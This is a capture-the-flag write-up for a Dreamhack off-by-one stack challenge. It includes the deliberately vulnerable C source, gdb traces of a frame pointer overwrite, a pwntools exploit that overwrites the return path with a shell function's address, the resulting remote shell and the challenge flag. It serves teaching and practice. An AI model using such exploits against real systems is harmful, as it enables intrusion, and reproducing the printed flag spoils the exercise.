Categories:

Tags:



Enumeration

System information is as follows.

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

Reading the source code reveals its mechanics.

  1. Reads from standard input and save it to cp_name.
  2. Copy a string from cp_name to real_name.
┌──(m0nk3y@kali)-[~/DH/off_by_one_000]
└─$ cat off_by_one_000.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char cp_name[256];

void get_shell()
{
    system("/bin/sh");
}

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int cpy()
{
    char real_name[256];
    strcpy(real_name, cp_name);
    return 0;
}

int main()
{
    initialize();
    printf("Name: ");
    read(0, cp_name, sizeof(cp_name));

    cpy();

    printf("Name: %s", cp_name);

    return 0;
}

Exploitation

Since the program reads sizeof(cp_name) bytes instead of sizeof(cp_name)-1, I’ll be able to overflow real_name by 1 byte causing a FPO(Frame Pointer Overwrite). To confirm this speculation, I’ll disassemble the binary.

gdb-peda$ disas main
Dump of assembler code for function main:
   0x08048670 <+0>: push   ebp
   0x08048671 <+1>: mov    ebp,esp
   0x08048673 <+3>: call   0x8048605 <initialize>
   0x08048678 <+8>: push   0x8048751
   0x0804867d <+13>:    call   0x8048440 <printf@plt>
   0x08048682 <+18>:    add    esp,0x4
   0x08048685 <+21>:    push   0x100
   0x0804868a <+26>:    push   0x804a060
   0x0804868f <+31>:    push   0x0
   0x08048691 <+33>:    call   0x8048430 <read@plt>
   0x08048696 <+38>:    add    esp,0xc
   0x08048699 <+41>:    call   0x804864c <cpy>
   0x0804869e <+46>:    push   0x804a060
   0x080486a3 <+51>:    push   0x8048758
   0x080486a8 <+56>:    call   0x8048440 <printf@plt>
   0x080486ad <+61>:    add    esp,0x8
   0x080486b0 <+64>:    mov    eax,0x0
   0x080486b5 <+69>:    leave
   0x080486b6 <+70>:    ret

gdb-peda$ disas cpy
Dump of assembler code for function cpy:
   0x0804864c <+0>: push   ebp
   0x0804864d <+1>: mov    ebp,esp
   0x0804864f <+3>: sub    esp,0x100
   0x08048655 <+9>: push   0x804a060
   0x0804865a <+14>:    lea    eax,[ebp-0x100]
   0x08048660 <+20>:    push   eax
   0x08048661 <+21>:    call   0x8048470 <strcpy@plt>
   0x08048666 <+26>:    add    esp,0x8
   0x08048669 <+29>:    mov    eax,0x0
   0x0804866e <+34>:    leave
   0x0804866f <+35>:    ret

By setting a break point and checking the memory, we can see that the LSB of EBP gets overwritten by a null byte, which triggers FPO.

gdb-peda$ b *cpy+34
Breakpoint 1 at 0x804866e

gdb-peda$ r
Starting program: /home/m0nk3y/DH/off_by_one_000/off_by_one_000
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x804a160 --> 0x0
EDX: 0xffffd100 (0xffffd100)
ESI: 0x1
EDI: 0x80484e0 (<_start>:   xor    ebp,ebp)
EBP: 0xffffd100 (0xffffd100)
ESP: 0xffffd000 ('A' <repeats 200 times>...)
EIP: 0x804866e (<cpy+34>:   leave)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048661 <cpy+21>:  call   0x8048470 <strcpy@plt>
   0x8048666 <cpy+26>:  add    esp,0x8
   0x8048669 <cpy+29>:  mov    eax,0x0
=> 0x804866e <cpy+34>:  leave
   0x804866f <cpy+35>:  ret
   0x8048670 <main>:    push   ebp
   0x8048671 <main+1>:  mov    ebp,esp
   0x8048673 <main+3>:  call   0x8048605 <initialize>
[------------------------------------stack-------------------------------------]
0000| 0xffffd000 ('A' <repeats 200 times>...)
0004| 0xffffd004 ('A' <repeats 200 times>...)
0008| 0xffffd008 ('A' <repeats 200 times>...)
0012| 0xffffd00c ('A' <repeats 200 times>...)
0016| 0xffffd010 ('A' <repeats 200 times>...)
0020| 0xffffd014 ('A' <repeats 200 times>...)
0024| 0xffffd018 ('A' <repeats 200 times>...)
0028| 0xffffd01c ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804866e in cpy ()
gdb-peda$ x/wx $ebp
0xffffd100: 0xffffd100

gdb-peda$ p $ebp-0x100
$1 = (void *) 0xffffd000

According to the calculation, FPO would lead to the execution of cp_name. However, cp_name is not executable, since nx bit is enabled. At this point, FPO was a dead end, but there didn’t seem to be much of a room for an attack.

   0x0804866e <*cpy+34>:    leave
mov esp, ebp
$esp= 0xffffd100

pop ebp
$ebp= *$esp= 0xffffd100
$esp= $esp+4= 0xffffd104

   0x0804866f <*cpy+35>:    ret
pop eip
$eip= *$esp= 0x0804869e
$esp= $esp+4= 0xffffd108

jmp eip
jmp 0x0804869e= jmp *main+46


   0x0804869e <*main+46>:   push   0x804a060
$esp= $esp-4= 0xffffd104
*$esp= *0xffffd104= 0x0804a060

   0x080486a3 <*main+51>:   push   0x8048758
$esp= $esp-4= 0xffffd100
*$esp= *0xffffd100= 0x08048758


   0x0804866e <*main+34>:   leave
mov esp, ebp
$esp= 0xffffd100

pop ebp
$ebp= *$esp= 0x08048758
$esp= $esp+4= 0xffffd104

   0x0804866f <+35>:    ret
pop eip
$eip= *$esp= 0x0804a060
$esp= $esp+4= 0xffffd108

jmp eip
jmp 0x0804a060= jmp cp_name

After spending hours trying to figure out other attack vectors, I’ve reached a conclusion that there is either something wrong with the challenge or it requires knowledge that I don’t yet know.

In order figure out which is which, I’ve read some writeups and found out that I was just extremely unlucky. Based on several writeups, address of SFP was all different but not one of them had it match itself when LSB was overwritten with a null byte.

For this writeup, let’s use addresses from one of the writeups.

real_name= 0xffffcfc0
$sfp= 0xffffd0c0
*$sfp= 0xffffd0c8

According to the new calculation, after successful FPO, the program would jump to the address specified by real_name+0x40 which is controlled by user input. As the address of SFP seems to be different for every writeup, we should assume that the real service would jump to *(real_name+n) where n could be any integer between 0 to 252. In my case, n was 256, which made it impossible to solve.

   0x0804866e <*cpy+34>:    leave
mov esp, ebp
$esp= 0xffffd0c0

pop ebp
$ebp= *$esp= 0xffffd000
$esp= $esp+4= 0xffffd0c4

   0x0804866f <*cpy+35>:    ret
pop eip
$eip= *$esp= 0x0804869e
$esp= $esp+4= 0xffffd0c8

jmp eip
jmp 0x0804869e= jmp *main+46


   0x0804866e <*main+34>:   leave
mov esp, ebp
$esp= 0xffffd000= real_name+0x40

pop ebp
$ebp= *$esp= *(real_name+0x40)
$esp= $esp+4= real_name+0x44

   0x0804866f <+35>:    ret
pop eip
$eip= *$esp= *(real_name+0x44)
$esp= $esp+4= real_name+0x48

jmp eip
jmp *(real_name+0x44)

To gain a shell using a buffer overflow, I’ll find the address of the function get_shell.

┌──(m0nk3y@kali)-[~/DH/off_by_one_000]
└─$ nm off_by_one_000 | grep get_shell
080485db T get_shell

Finally, with all the information gathered, I’ll write an exploit which will give me a shell.

┌──(m0nk3y@kali)-[~/DH/off_by_one_000]
└─$ cat exploit.py
import sys
from pwn import *

client= remote(sys.argv[1], int(sys.argv[2]))

payload= p32(0x080485db)*64

client.recv()
client.sendline(payload)
client.recv()
client.interactive()

By running the exploit, I’m able to gain a shell as the user off_by_one_000.

┌──(m0nk3y@kali)-[~/DH/off_by_one_000]
└─$ python2 exploit.py host1.dreamhack.games 20485
[+] Opening connection to host1.dreamhack.games on port 20485: Done
[*] Switching to interactive mode
$ id
uid=1000(off_by_one_000) gid=1000(off_by_one_000) groups=1000(off_by_one_000)

Post Exploitation

With the shell acquired, I’m able to read the flag.

$ cat flag
DH{fef043d0dbe030d01756c23b78a660ae}